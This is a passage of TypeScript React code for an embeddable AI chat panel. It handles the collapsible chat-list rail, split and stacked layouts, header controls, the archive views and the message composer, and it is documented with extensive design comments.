in the effect instead is what the\n  // pre-refactor code did, but `react-hooks/set-state-in-effect` rejects it in\n  // a reactive (non-mount-only) effect.\n  const setPanelNode = useCallback((node: HTMLDivElement | null) => {\n    setPanelBoundary(node);\n    if (node) setPanelWidth(node.clientWidth);\n  }, []);\n\n  // Rail collapse toggle (Figma ⟶| control), persisted so it survives the\n  // drawer remounting on close.\n  const [railCollapsed, setRailCollapsed] = useState(false);\n  // Hydrated from storage while rendering, once. `useIsHydrated` is the only\n  // reason this could not always have been a render-time read — `localStorage`\n  // is unreadable on the server and during the hydration pass — and stating\n  // that gate directly means the rail is in its remembered position in the\n  // FIRST render that can show it, instead of expanding and then snapping shut\n  // one commit later. The latch makes it a one-shot, so it never fights the\n  // toggle below.\n  const railStorageHydrated = useIsHydrated();\n  const [railStorageRead, setRailStorageRead] = useState(false);\n  if (railStorageHydrated && !railStorageRead) {\n    setRailStorageRead(true);\n    try {\n      if (window.localStorage.getItem(RAIL_COLLAPSED_STORAGE_KEY) === '1') setRailCollapsed(true);\n    } catch {\n      // Storage can throw (private mode) — default to expanded.\n    }\n  }\n  const toggleRailCollapsed = useCallback(() => {\n    setRailCollapsed(prev => {\n      const next = !prev;\n      try {\n        window.localStorage.setItem(RAIL_COLLAPSED_STORAGE_KEY, next ? '1' : '0');\n      } catch {\n        // Best-effort persistence; the in-memory state still applies this session.\n      }\n      return next;\n    });\n  }, []);\n\n  // Header magnifier toggle — reveals the rail's built-in list search bar on\n  // demand (matches the Figma header). Only meaningful when search is wired.\n  const [railSearchOpen, setRailSearchOpen] = useState(false);\n\n  // Layout decision. `wideMingo` gates the desktop two-cell header (which hosts\n  // the expand control even while collapsed); `splitActive` additionally\n  // requires the rail to be expanded before its column renders. The archive\n  // page stays split-eligible: in wide mode it opens INSIDE the left rail (the\n  // right chat block stays put), and only falls back to the full-panel archive\n  // when stacked/collapsed.\n  const splitEligible = historyListMode;\n  const canSplit = panelWidth >= SPLIT_MIN_WIDTH;\n  // Embedded previews (hero demo tabs) always use the compact single-column\n  // header, never the two-column split — so `previewMode` opts out of `wideMingo`.\n  const wideMingo = splitEligible && canSplit && !previewMode;\n  const splitActive = wideMingo && !railCollapsed;\n  // Keep the \"Current Chats\" rail (header cell + list column) mounted through\n  // its width/opacity collapse so it eases away instead of hard-cutting; both\n  // synchronized parts wrap in `<RailSlot active={railPresence.active}>`.\n  const railPresence = useRailPresence(splitActive);\n  // The wide header is used for BOTH wide layouts — split (rail beside the chat)\n  // and collapsed (`wideCollapsed`: chat / new-chat welcome in the fill column,\n  // rail hidden). Its built-in corner toggle expands/collapses the rail — the\n  // only chat-list navigation in wide mode, so there's no back chevron here.\n  // `|| railPresence.mounted` keeps it through the rail's exit animation when a\n  // resize drops below the split threshold (wideMingo → narrow).\n  const showWideHeader = wideMingo || railPresence.mounted;\n\n  // ── Narrow (stacked) list ⇄ compose navigation ────────────────────────────\n  // The redesigned narrow layout (Figma 341:36190 / 113:69276) splits the old\n  // combined empty state into two views: a \"Current Chats\" LIST (no composer)\n  // and a \"New Chat\" COMPOSE view (greeting + composer) reached from the list's\n  // \"Start New Chat\" button. Wide mode shows both columns at once, so this only\n  // drives the single-column presentation.\n  const [composeOpen, setComposeOpen] = useState(false);\n  // Opening a conversation supersedes the compose view — reset it so backing out\n  // of the conversation lands on the list, not a stale compose screen. Done\n  // while rendering, not from an effect: the layout branches below read this in\n  // the SAME render the conversation opened in. Guarded, so the extra render\n  // pass takes the early exit.\n  if (hasConversation && composeOpen) setComposeOpen(false);\n  const isMingoMode = historyListMode;\n  // The stacked \"Current Chats\" list — the NARROW single-column Mingo view. It\n  // is a narrow-only layout: in any wide layout the chat list lives in the rail,\n  // and collapsing the rail (`wideCollapsed`) shows the chat / new-chat welcome\n  // in the fill column (navigation is via re-expanding the rail), NOT the list.\n  // Requires no open conversation, no archive, and not composing (the composer\n  // lives on the compose view).\n  // …unless the list owner asked to skip an empty one\n  // (`emptyListSkipsToCompose`), in which case a settled-empty, unsearched list\n  // lands on the composer instead of a \"Current Chats\" screen with nothing in\n  // it. Whether that is the right landing is the list owner's policy, not this\n  // component's guess — a public panel skips, a workspace panel keeps the list.\n  // Gated on the first page having settled so it never flashes mid-load.\n  const emptyListSkipped =\n    mingoCaps.emptyListSkipsToCompose === true &&\n    dialogs.length === 0 &&\n    !dialogsInitialLoading &&\n    !mingoCaps.searchQuery;\n  const stackedListView =\n    isMingoMode && !hasConversation && !archiveOpen && !wideMingo && !composeOpen && !emptyListSkipped;\n\n  // Shared header derivations — consumed by the stacked `ChatPanelHeader`, its\n  // mobile fallback, and the desktop split header's right cell, so the title /\n  // back / ⋯ semantics can't drift between layouts.\n  const headerShowBack = hasConversation || guideCanReturnToMingo;\n  /**\n   * What a conversation with nothing in it is called — ONE definition, read by\n   * the shared header derivation below, the narrow compose header and the wide\n   * split header, so a draft can't be titled three different ways.\n   *\n   * Guide's empty state IS the assistant's own welcome screen, so it wears the\n   * assistant name; anywhere else a draft is a \"New Chat\".\n   */\n  const freshConversationTitle = isGuideEmpty ? (headerAssistantName ?? 'Mingo Guide') : 'New Chat';\n  const headerTitle = hasConversation\n    ? activeDialog?.title || freshConversationTitle\n    : isGuideEmpty\n      ? freshConversationTitle\n      : 'Current Chats';\n  const headerBackAriaLabel = hasConversation ? (isViewingArchived ? 'Back to archive' : 'Back') : 'Back to Mingo';\n  const headerOnBack = hasConversation ? handleBack : () => handleActiveModeChange('mingo');\n  const headerOnRestore =\n    isViewingArchived && unarchiveDialog && activeDialog ? () => setRestoreTarget(activeDialog) : undefined;\n  const headerOnRename =\n    activeDialogId && activeDialog && mingoCaps.canRename ? () => setRenameTarget(activeDialog) : undefined;\n  const headerOnArchive =\n    activeDialogId && activeDialog && mingoCaps.canArchive ? () => setArchiveTarget(activeDialog) : undefined;\n  const headerOnCopyLink =\n    activeDialogId && activeDialog && mingoCaps.onCopyLink ? () => mingoCaps.onCopyLink?.(activeDialog) : undefined;\n  const headerOnOpenArchive = fetchArchivedDialogs ? openArchive : undefined;\n\n  // Header person (sub-line + 32px avatar, Figma 113:63273): the dialog OWNER\n  // for an open conversation — with \"All Chats\" scope that can be another\n  // admin; the signed-in user otherwise (New Chat compose — they will own it).\n  // An owner without an avatar URL still wins the slot: initials of the OWNER,\n  // not the viewer's photo.\n  const headerOwner = hasConversation ? activeDialog?.owner : undefined;\n  const headerPersonName = headerOwner?.name?.trim() || headerUserName;\n  const headerPersonAvatarUrl = headerOwner\n    ? headerOwner.avatarUrl?.trim() || undefined\n    : identityUser?.avatarUrl?.trim() || userAvatarUrl?.trim() || undefined;\n  const headerAvatar =\n    headerPersonName || headerPersonAvatarUrl\n      ? { name: headerPersonName, avatarUrl: headerPersonAvatarUrl }\n      : undefined;\n\n  // \"Start New Chat\" (rail button) — reset to the new-chat welcome. Uses the\n  // dedicated reset (not `handleBack`, which would reopen the archive when the\n  // open conversation is archived) so it always lands on a fresh chat.\n  const handleNewChat = useCallback(() => {\n    resetToNewChat();\n  }, [resetToNewChat]);\n\n  // Host-driven \"Start New Chat\" (see EmbeddableChatHandle). Same reset as the\n  // rail button, plus the narrow layout's list→compose navigation that the\n  // in-panel button gets from the list itself — a host has no other way in.\n  useImperativeHandle(\n    handleRef,\n    () => ({\n      startNewChat: () => {\n        resetToNewChat();\n        setComposeOpen(true);\n      },\n    }),\n    [resetToNewChat],\n  );\n\n  // Desktop split header ⋯ menu (active, non-archived conversation only).\n  const splitHeaderMenuItems = [\n    headerOnCopyLink && { id: 'copy-link', label: 'Copy chat link', onClick: headerOnCopyLink },\n    headerOnRename && { id: 'rename', label: 'Rename chat', onClick: headerOnRename },\n    headerOnArchive && { id: 'archive', label: 'Archive chat', onClick: headerOnArchive },\n  ].filter(Boolean) as ActionsMenuItem[];\n\n  // Narrow (single-column) header. The Mingo empty state splits into a \"Current\n  // Chats\" list header (search + archive, no back) and a \"New Chat\" compose\n  // header (back to the list); conversations + guide keep the shared header\n  // derivations. Wide mode uses its own two-cell header instead.\n  // `!emptyListSkipped` for the same reason as `stackedListView`: with the list\n  // skipped the BODY renders the welcome, so a \"Current Chats\" header above it\n  // would be half of the empty screen the skip exists to remove. The\n  // else-branch header keeps the assistant name and the archive entry point.\n  const narrowMingoEmpty = isMingoMode && !hasConversation && !archiveOpen && !emptyListSkipped;\n  const narrowHeaderProps: ChatPanelHeaderProps = narrowMingoEmpty\n    ? composeOpen\n      ? {\n          showBack: true,\n          title: freshConversationTitle,\n          subtitle: headerUserName,\n          avatar: headerAvatar,\n          backAriaLabel: 'Back to chats',\n          onBack: () => setComposeOpen(false),\n          onClose: handleClose,\n        }\n      : {\n          showBack: false,\n          title: 'Current Chats',\n          onClose: handleClose,\n          onOpenArchive: headerOnOpenArchive,\n          onToggleSearch: mingoCaps.onSearchChange ? () => setRailSearchOpen(o => !o) : undefined,\n          searchActive: railSearchOpen,\n          searchQuery: mingoCaps.searchQuery,\n          onSearchChange: mingoCaps.onSearchChange,\n        }\n    : {\n        showBack: headerShowBack,\n        title: headerTitle,\n        subtitle: headerPersonName,\n        avatar: headerAvatar,\n        backAriaLabel: headerBackAriaLabel,\n        isArchivedView: isViewingArchived,\n        onBack: headerOnBack,\n        onClose: handleClose,\n        onRestore: headerOnRestore,\n        onRename: headerOnRename,\n        onArchive: headerOnArchive,\n        onCopyLink: headerOnCopyLink,\n        onOpenArchive: headerOnOpenArchive,\n      };\n\n  // Chat body — defined once, then rendered inside whichever shell applies.\n  // Radix overlays (⋯ menus, tooltips) portal into `portalHost` — a node inside\n  // this panel — so they inherit the drawer's stacking context and need only a\n  // small, local z-index instead of escalating to beat the drawer at the\n  // document root. See `PortalContainerContext`.\n  const body = (\n    <PortalContainerContext.Provider value={portalHost}>\n      <CollisionBoundaryContext.Provider value={panelBoundary}>\n        {/* Panel surface depends on state (Figma):\n                  • Narrow \"Current Chats\" LIST + FULL-PANEL archive page → grey\n                    `ods-card` (#212121) — matching the grey rail those lists live\n                    in when the panel is wide,\n                  • Mingo welcome / compose (node 113:69208), Guide empty\n                    (node 7532:328223), and the active conversation → dark\n                    `ods-bg` (#161616).\n                The header keeps its own grey `bg-ods-card`; the content and\n                footer have no bg and inherit this root, so they flip together.\n                The archive only tints the root when it's FULL-PANEL (`!splitActive`)\n                — in the split layout it lives in the rail (which owns its own\n                grey), so the chat block on the right must keep the conversation's\n                dark surface instead of following the archive. */}\n        <div\n          ref={setPanelNode}\n          className={`flex h-full flex-col overflow-hidden transition-colors duration-200 ${\n            (archiveOpen && !splitActive) || stackedListView ? 'bg-ods-card' : 'bg-ods-bg'\n          } ${previewMode ? 'pointer-events-none select-none' : ''}`}\n        >\n          {/* Archive-page ↔ chat-panel swap fades in (200ms) to match the\n                  surface flip. The full-panel archive is used only when NOT in\n                  the wide split layout — there the archive opens inside the left\n                  rail instead (see the rail column below). */}\n          {archiveOpen && !splitActive ? (\n            <div key=\"archive-view\" className=\"flex min-h-0 flex-1 flex-col duration-200 animate-in fade-in-0\">\n              <ChatArchivePage\n                dialogs={archivedDialogs}\n                onSelectDialog={handleArchivedSelect}\n                onBack={closeArchive}\n                onClose={handleClose}\n                isLoading={archivedLoading}\n                isFetching={archivedPending}\n                hasMore={archivedCursor != null}\n                onLoadMore={() => {\n                  void loadArchivedPage(archivedCursor ?? undefined);\n                }}\n              />\n            </div>\n          ) : (\n            <div key=\"chat-view\" className=\"flex min-h-0 flex-1 flex-col duration-200 animate-in fade-in-0\">\n              {showWideHeader ? (\n                // Wide Mingo header (Figma 113:60931 / 113:63630). Split: a\n                // two-cell bar — the \"Current Chats\" rail header (search /\n                // archive / collapse) over the 320px rail + the chat-block header\n                // (title / ⋯ / close) over the fill column. Collapsed\n                // (`wideCollapsed`): the rail cell is gone, leaving the corner\n                // expand toggle + the chat-block header (the fill column shows\n                // the chat / new-chat welcome). No back chevron — chat-list\n                // navigation is the rail toggle. Shown whenever the panel is wide\n                // enough to split (`panelWidth ≥ SPLIT_MIN_WIDTH`), NOT gated on\n                // the viewport `md` breakpoint — otherwise a 720–799px panel on a\n                // sub-`md` viewport would split the body yet drop to the mobile\n                // single-bar header (no rail search / collapse controls).\n                <div className=\"flex h-14 w-full flex-shrink-0 overflow-hidden border-b border-ods-border bg-ods-card\">\n                  {railPresence.mounted && (\n                    <RailSlot active={railPresence.active} innerClassName=\"flex overflow-hidden\">\n                      {archiveOpen ? (\n                        // Archive open in the wide layout — the rail header\n                        // turns into a \"Chat Archive\" back bar (the list itself\n                        // renders in the rail below); the chat block is untouched.\n                        // Back is a full-height leading cell, matching the other\n                        // header cells (not a small inline chevron).\n                        <>\n                          <ChatHeaderIconButton divider=\"right\" onClick={closeArchive} aria-label=\"Back to chats\">\n                            <Chevron02LeftIcon size={24} />\n                          </ChatHeaderIconButton>\n                          <div className=\"flex min-w-0 flex-1 items-center px-[var(--spacing-system-mf)]\">\n                            <span className=\"min-w-0 flex-1 truncate text-ods-text-primary text-h3\">Chat Archive</span>\n                          </div>\n                        </>\n                      ) : (\n                        // \"Current Chats\" rail header — title fills, then the\n                        // search + archive controls. When search is open the\n                        // inline field takes over the title area in place\n                        // (Figma 116:51217) and the magnifier toggle is hidden.\n                        <>\n                          {railSearchOpen && mingoCaps.onSearchChange ? (\n                            <ChatHeaderSearchField\n                              initialValue={mingoCaps.searchQuery}\n                              onSearchChange={mingoCaps.onSearchChange}\n                              onCollapse={() => setRailSearchOpen(false)}\n                            />\n                          ) : (\n                            <>\n                              <div className=\"flex min-w-0 flex-1 items-center px-[var(--spacing-system-mf)]\">\n                                <span className=\"min-w-0 flex-1 truncate text-ods-text-primary text-h3\">\n                                  Current Chats\n                                </span>\n                              </div>\n                              {mingoCaps.onSearchChange && (\n                                <ChatHeaderIconButton\n                                  onClick={() => setRailSearchOpen(o => !o)}\n                                  aria-label=\"Search chats\"\n                                  aria-pressed={railSearchOpen}\n                                >\n                                  <SearchIcon size={24} />\n                                </ChatHeaderIconButton>\n                              )}\n                            </>\n                          )}\n                          {headerOnOpenArchive && (\n                            <ChatHeaderIconButton onClick={headerOnOpenArchive} aria-label=\"Chat archive\">\n                              <ClockHistoryIcon size={24} />\n                            </ChatHeaderIconButton>\n                          )}\n                        </>\n                      )}\n                    </RailSlot>\n                  )}\n\n                  <div className=\"flex min-w-0 flex-1\">\n                    {/* Rail collapse / expand toggle — lives on the chat side,\n                          at its left edge (Figma 259:90465). Right arrow collapses\n                          the list; left arrow brings it back. */}\n                    <button\n                      type=\"button\"\n                      onClick={toggleRailCollapsed}\n                      aria-label={splitActive ? 'Collapse chat list' : 'Show chat list'}\n                      aria-pressed={!splitActive}\n                      className=\"flex size-14 shrink-0 items-center justify-center border-r border-ods-border text-ods-text-secondary transition-colors hover:bg-ods-bg-hover hover:text-ods-text-primary focus:outline-none focus-visible:ring-2 focus-visible:ring-ods-accent\"\n                    >\n                      {splitActive ? <Arrow02RightIcon size={24} /> : <Arrow02LeftIcon size={24} />}\n                    </button>\n                    {/* No back cell in the wide layout — the left rail (and\n                          its collapse/expand toggle) already provides chat-list\n                          navigation, so a back chevron would be redundant. */}\n                    <div className=\"flex min-w-0 flex-1 items-center gap-[var(--spacing-system-m)] px-[var(--spacing-system-mf)] py-[var(--spacing-system-sf)]\">\n                      <div className=\"flex min-w-0 flex-col\">\n                        <p className=\"truncate leading-tight text-ods-text-primary text-h3\">\n                          {headerShowBack || isGuideEmpty ? headerTitle : freshConversationTitle}\n                        </p>\n                        {headerPersonName && (\n                          <p className=\"truncate leading-tight text-ods-text-secondary text-h6\">{headerPersonName}</p>\n                        )}\n                      </div>\n                      {headerAvatar ? (\n                        // Owner avatar at the title cell's right edge (Figma 113:63273).\n                        <SquareAvatar\n                          variant=\"round\"\n                          sizePx={32}\n                          className=\"ml-auto\"\n                          src={headerAvatar.avatarUrl || undefined}\n                          alt={headerAvatar.name || undefined}\n                          fallback={headerAvatar.name || undefined}\n                          initialsClassName=\"text-[11px] text-ods-text-secondary\"\n                          title={headerAvatar.name || undefined}\n                        />\n                      ) : null}\n                    </div>\n\n                    {isViewingArchived && headerOnRestore && (\n                      <ChatHeaderIconButton onClick={headerOnRestore} aria-label=\"Unarchive chat\">\n                        <Refresh01LeftIcon size={24} />\n                      </ChatHeaderIconButton>\n                    )}\n                    {headerShowBack && !isViewingArchived && splitHeaderMenuItems.length > 0 && (\n                      <ActionsMenuDropdown\n                        triggerAriaLabel=\"Chat actions\"\n                        onCloseAutoFocus={e => e.preventDefault()}\n                        groups={[{ items: splitHeaderMenuItems }]}\n                        customTrigger={\n                          <ChatHeaderIconButton aria-label=\"Chat actions\">\n                            <Ellipsis01Icon size={24} />\n                          </ChatHeaderIconButton>\n                        }\n                      />\n                    )}\n                    <ChatHeaderIconButton onClick={handleClose} aria-label=\"Close\">\n                      <XmarkIcon size={24} />\n                    </ChatHeaderIconButton>\n                  </div>\n                </div>\n              ) : (\n                // Narrow single-column header — list / compose / conversation /\n                // guide, resolved into `narrowHeaderProps` above. (Wide layouts,\n                // including rail-collapsed, use the wide header above.) Embedded\n                // previews (hero demo tabs) force the compact bar via `compact`.\n                <ChatPanelHeader {...narrowHeaderProps} compact={previewMode} />\n              )}\n\n              {/* Guide-mode indicator banner (Figma node 7532:328222) —\n                  full-bleed accent strip below the header. Shown only when\n                  Guide mode is active AND the default (Mingo) mode also exists:\n                  the banner contrasts the temporary Guide session against the\n                  default chat, so it's meaningless in a guide-only setup. */}\n              {activeMode === 'guide' && hasMingoMode && (\n                <GuideModeBanner className=\"duration-200 animate-in fade-in-0\" />\n              )}\n\n              {/* Chat-panel row. In the wide Mingo layout (`splitActive`) the\n                  dialog history is hoisted into a fixed 320px \"Current Chats\"\n                  rail on the left; the stacked layout keeps it inline in the\n                  Mingo empty state (`<MingoChatHistory>` via `<MingoWelcome>`). */}\n              <div className=\"flex min-h-0 flex-1 overflow-hidden\">\n                {railPresence.mounted && (\n                  <RailSlot active={railPresence.active} innerClassName=\"flex flex-col min-h-0 bg-ods-card\">\n                    {archiveOpen ? (\n                      // Archive list inside the rail (header lives in the split\n                      // header's left cell above). Right chat block stays put.\n                      <ChatArchivePage\n                        embedded\n                        dialogs={archivedDialogs}\n                        onSelectDialog={handleArchivedSelect}\n                        isLoading={archivedLoading}\n                        isFetching={archivedPending}\n                        hasMore={archivedCursor != null}\n                        onLoadMore={() => {\n                          void loadArchivedPage(archivedCursor ?? undefined);\n                        }}\n                      />\n                    ) : (\n                      <MingoHistoryRail\n                        dialogs={dialogs}\n                        activeDialogId={activeDialogId ?? undefined}\n                        onSelectDialog={handleSelectDialog}\n                        onNewChat={handleNewChat}\n                        onRequestRename={mingoCaps.canRename ? setRenameTarget : undefined}\n                        onRequestArchive={mingoCaps.canArchive ? setArchiveTarget : undefined}\n                        onRequestCopyLink={mingoCaps.onCopyLink}\n                        scope={dialogScope}\n                        onScopeChange={setDialogScope}\n                        searchQuery={mingoCaps.searchQuery}\n                        hasMore={hasMoreDialogs}\n                        isLoadingMore={isDialogsLoading && dialogs.length > 0}\n                        onLoadMore={() => {\n                          void loadMoreDialogs();\n                        }}\n                        isLoadingHistory={dialogsInitialLoading}\n                        loadError={dialogsLoadError}\n                        onRetry={reloadDialogs}\n                      />\n                    )}\n                  </RailSlot>\n                )}\n                <div className=\"flex min-h-0 min-w-0 flex-1 flex-col\">\n                  {stackedListView ? (\n                    // Narrow \"Current Chats\" list (Figma 341:36190) — the default\n                    // single-column view. No composer here; \"Start New Chat\" opens\n                    // the compose view.\n                    <MingoHistoryRail\n                      className=\"duration-200 animate-in fade-in-0\"\n                      dialogs={dialogs}\n                      activeDialogId={activeDialogId ?? undefined}\n                      onSelectDialog={handleSelectDialog}\n                      onNewChat={() => setComposeOpen(true)}\n                      onRequestRename={mingoCaps.canRename ? setRenameTarget : undefined}\n                      onRequestArchive={mingoCaps.canArchive ? setArchiveTarget : undefined}\n                      onRequestCopyLink={mingoCaps.onCopyLink}\n                      scope={dialogScope}\n                      onScopeChange={setDialogScope}\n                      searchQuery={mingoCaps.searchQuery}\n                      hasMore={hasMoreDialogs}\n                      isLoadingMore={isDialogsLoading && dialogs.length > 0}\n                      onLoadMore={() => {\n                        void loadMoreDialogs();\n                      }}\n                      isLoadingHistory={dialogsInitialLoading}\n                      loadError={dialogsLoadError}\n                      onRetry={reloadDialogs}\n                    />\n                  ) : (\n                    <>\n                      <div ref={galleryPanelRef} className=\"flex min-h-0 flex-1 flex-col p-[var(--spacing-system-m)]\">\n                        <div\n                          key={contentViewKey}\n                          className=\"flex min-h-0 flex-1 flex-col duration-200 animate-in fade-in-0\"\n                        >\n                          {hasConversation ? (\n                            <div className=\"flex min-h-0 flex-1 flex-col\">\n                              {messagesInitialLoading ? (\n                                // Match the real list's `fullWidth` layout so swapping\n                                // skeleton → bubbles doesn't shift the column. The panel\n                                // wrapper above already pads (`p-[var(--spacing-system-m)]`),\n                                // so the skeleton sits flush (no inner px/pb).\n                                //\n                                // In `previewMode` the chat lives in a fixed-height host box\n                                // (e.g. the Mingo hero demo). The default bottom-anchored\n                                // skeleton overflows a short panel and grows its OWN\n                                // scrollbar — ugly. `fill` top-anchors + clips overflow so\n                                // it reads as \"the whole panel is loading\" and never scrolls.\n                                <ChatMessageListSkeleton fullWidth fill={previewMode} className=\"flex-1\" />\n                              ) : (\n                                <ChatMessageList\n                                  messages={messages}\n                                  isTyping={chatLoading}\n                                  // Sticky footer for approvals the host lifted out of the\n                                  // thread — see the prop's docblock.\n                                  pendingApprovals={pendingApprovals}\n                                  // Real drawer: the library's smart follow. Passive in-page\n                                  // demo (previewMode): deterministic hard pin instead — a\n                                  // scripted assistant-only stream from a cold mount never\n                                  // satisfies the library's \"at bottom\" gate, so the reply\n                                  // landed below the fold. `pinBottom` snaps to bottom on\n                                  // every frame; identical mechanism to the Fae demo box, so\n                                  // both surfaces behave 1:1.\n                                  autoScroll={!previewMode}\n                                  pinBottom={previewMode}\n                                  // Passive in-page demos (previewMode) let the surrounding\n                                  // page scroll over the thread; the real drawer keeps\n                                  // containment (deck slide-scroll fix).\n                                  overscrollContain={!previewMode}\n                                  assistantType=\"mingo\"\n                                  assistantIcon={mingoAssistantIcon}\n                                  renderEntityCard={renderEntityCard}\n                                  resolveContextIcon={resolveContextIcon}\n                                  renderContextItem={renderContextItem}\n                                  renderMention={renderMention}\n                                  renderAfterMessage={renderMessageSources}\n                                  // Gated on `chatLoading` for the same reason the composer\n                                  // is: no second send while a turn is in flight. Passive\n                                  // demo hosts (previewMode) stay read-only.\n                                  onAskSelect={chatLoading || previewMode ? undefined : handleAskSelect}\n                                  NavLinkAnchor={NavLinkAnchorViaRuntime}\n                                  // Real Mingo drawer: hide the message-list scrollbar\n                                  // (scroll stays functional). Scoped here via `className`\n                                  // instead of `ChatMessageList` itself, so other list\n                                  // consumers (host chat, tickets) keep their thin bar.\n                                  //\n                                  // `previewMode` (the passive in-page demo) instead:\n                                  //  • KEEP the default thin scrollbar — the \"elevator\" —\n                                  //    so the Mingo demo's scroll controls match the Fae\n                                  //    demo box (which renders the default ChatMessageList\n                                  //    scrollbar) 1:1.\n                                  //  • Re-enable pointer events on the scroller: previewMode\n                                  //    puts `pointer-events-none` on the whole panel (line\n                                  //    ~1981) so the demo doesn't trap clicks, but that also\n                                  //    killed wheel/touch scroll on the thread (the Mingo\n                                  //    embed couldn't scroll while the Fae box could). Only\n                                  //    the scroller re-enables; composer + chrome stay inert.\n                                  className={\n                                    previewMode\n                                      ? 'pointer-events-auto flex-1'\n                                      : 'flex-1 [scrollbar-width:none] [&::-webkit-scrollbar]:hidden'\n                                  }\n                                  // No inner `px`/`pb`: the panel wrapper already pads with\n                                  // `p-[var(--spacing-system-m)]`. The default content class\n                                  // adds `px-[var(--spacing-system-m)]` + `pb-…xs`, which\n                                  // double-inset the thread; `pb-0` overrides via twMerge.\n                                  contentClassName=\"max-w-none pb-0\"\n                                  fullWidth\n                                  hasNextPage={hasMoreMessages}\n                                  isFetchingNextPage={isMessagesLoading}\n                                  onLoadMore={loadMoreMessages}\n                                />\n                              )}\n                            </div>\n                          ) : activeMode === 'mingo' ? (\n                            /* Figma node 7532:222444 — default (Mingo-mode) empty state:\n                     centred greeting + capability grid + Guide-chat promo +\n                     quick-action chips. Guide mode keeps the slash-command\n                     onboarding list below. */\n                            <MingoWelcome\n                              onStartGuideChat={\n                                effectiveModes.guide ? () => handleActiveModeChange('guide') : undefined\n                              }\n                              {...mingoWelcome}\n                              // History now lives in its own list view (the wide rail or\n                              // the narrow \"Current Chats\" list), so the welcome is always\n                              // the new-user compose surface: greeting + grid + promo +\n                              // primary Guide chip.\n                              hasExistingChats={false}\n                              // Hover/focus PREVIEWS the action's full prompt as ghost text\n                              // in the empty composer (see `quickActionPreview` /\n                              // `ChatInput.previewText`). Wired after the `{...mingoWelcome}`\n                              // spread so the host can't override it.\n                              onQuickActionHover={action => setQuickActionPreview(action.prompt ?? action.label)}\n                              onQuickActionHoverEnd={() => setQuickActionPreview(null)}\n                              // A built-in agent caps the quick-action wall at 2 rows;\n                              // this is the Mingo surface, so fall back to 'mingo'.\n                              agentSlug={activeAgentSlug ?? 'mingo'}\n                            />\n                          ) : (\n                            /* Figma node 7532:328214 — Guide-mode empty state: greeting\n                     + slash-command onboarding list share one scroll region,\n                     with a pinned quick-action chip row above the composer. */\n                            <GuideWelcome\n                              // Admin/host greeting customises the guide subtitle; an\n                              // explicit `guideWelcome.subtitle` still wins (spread below).\n                              subtitle={effectiveGreeting ?? undefined}\n                              // While the admin greeting is still being fetched, render a\n                              // subtitle skeleton instead of flashing empty → text.\n                              subtitleLoading={emptyStateLoading}\n                              {...guideWelcome}\n                              // Agent identity (name → title, icon → empty-state glyph)\n                              // wins over the host `guideWelcome` spread + built-in\n                              // defaults; falls back to the host value when no agent is\n                              // active. Placed after the spread so resolution is\n                              // deterministic.\n                              title={effectiveAssistantName ?? guideWelcome?.title}\n                              icon={effectiveAssistantIcon ?? guideWelcome?.icon}\n                              // Admin \"try-asking chips\" → Guide quick-action chips.\n                              // Precedence: when an AGENT is active and its fetched chips\n                              // arrived, the agent's chips win — the host array is the\n                              // platform default, not the agent's. (`agentConfigUrl` is\n                              // the same derived value that drives the config fetch, so\n                              // this can never disagree with what was fetched; while the\n                              // fetch is in-flight the fetched list is [] and host chips\n                              // show.) Outside agent mode the host-provided\n                              // `guideWelcome.quickActions` wins as before.\n                              quickActions={\n                                agentConfigUrl && guideSuggestedActions.length > 0\n                                  ? guideSuggestedActions\n                                  : (guideWelcome?.quickActions ?? guideSuggestedActions)\n                              }\n                              // Quick-action chips SEND the prompt immediately on click.\n                              onQuickAction={action => {\n                                setQuickActionPreview(null);\n                                handleSend(action.prompt ?? action.label);\n                              }}\n                              // Hover/focus PREVIEWS the action's full prompt as ghost text\n                              // in the empty composer (the chip label is short; this reveals\n                              // what will be sent). Declarative + non-destructive — see\n                              // `quickActionPreview` / `ChatInput.previewText`.\n                              onQuickActionHover={action => setQuickActionPreview(action.prompt ?? action.label)}\n                              onQuickActionHoverEnd={() => setQuickActionPreview(null)}\n                              // In agent mode a built-in agent (fae/mingo) caps the wall at\n                              // 2 rows; host/guide mode (no active agent) keeps the default.\n                              agentSlug={activeAgentSlug}\n                            >\n                              {/* Figma node 7363:205938 — single-column slash-command\n                        list. No own scroll (GuideWelcome's region scrolls); the\n                        rounded-md frame holds the cards on the dark surface. */}\n                              {(chipCommands.length > 0 || !commandsLoaded) && (\n                                <div className=\"shrink-0 overflow-hidden rounded-md border border-ods-border\">\n                                  {!commandsLoaded &&\n                                    chipCommands.length === 0 &&\n                                    SKELETON_ROW_VARIANTS.map((variant, i) => (\n                                      <MingoOnboardingCardSkeleton\n                                        key={`chip-skeleton-${i}`}\n                                        titleWidth={variant.titleWidth}\n                                        slashWidth={variant.slashWidth}\n                                        descriptionLines={variant.descriptionLines}\n                                      />\n                                    ))}\n                                  {chipCommands.map(cmd => {\n                                    const Icon = resolveIcon(cmd.iconName);\n                                    const cmdId = cmd.id;\n                                    const label = cmd.label ?? `/${cmdId}`;\n                                    const cardActions = cmd.actions.map(action => ({\n                                      id: action.id,\n                                      label: action.label,\n                                      onClick: () => dispatchSlashCommandAction(action.id, cmdId, chatInputRef),\n                                    }));\n                                    return (\n                                      <MingoOnboardingCard\n                                        key={cmdId}\n                                        icon={<Icon size={16} />}\n                                        title={label}\n                                        slashCommand={`/${cmdId}`}\n                                        description={cmd.description}\n                                        actions={cardActions}\n                                      />\n                                    );\n                                  })}\n                                </div>\n                              )}\n                            </GuideWelcome>\n                          )}\n                        </div>\n                      </div>\n\n                      <ChatAttachmentChipStrip\n                        attachments={stagedAttachments}\n                        onRemove={removeAttachment}\n                        disabled={chatLoading}\n                      />\n\n                      <ChatComposer\n                        archived={isViewingArchived}\n                        inputRef={chatInputRef}\n                        onSend={handleSend}\n                        onStop={stopMessage}\n                        sending={chatLoading || hasInflightUploads}\n                        placeholder={hasInflightUploads ? 'Waiting for uploads to finish…' : 'Ask a question...'}\n                        autoFocus={previewMode ? false : autoFocusInput}\n                        slashCommands={slashCommandsProp}\n                        previewText={quickActionPreview ?? undefined}\n                        showAttachmentButton={attachmentsEnabled && activeMode === 'guide'}\n                        attachmentsCount={stagedAttachments.length}\n                        onAddFiles={addAttachmentFiles}\n                        attachmentsDisabled={chatLoading}\n                        contextPicker={contextPickerForMode}\n                        selectedContextItems={contextItems}\n                        onToggleContextItem={toggleContextItem}\n                        onRemoveContextItem={removeContextItem}\n                        contextMemoryItems={contextMemory?.items}\n                        onRemoveContextMemoryItem={contextMemory?.onRemove}\n                        contextPickerOpen={contextPickerOpen}\n                        onOpenContextPicker={openContextPicker}\n                        onCloseContextPicker={closeContextPicker}\n                        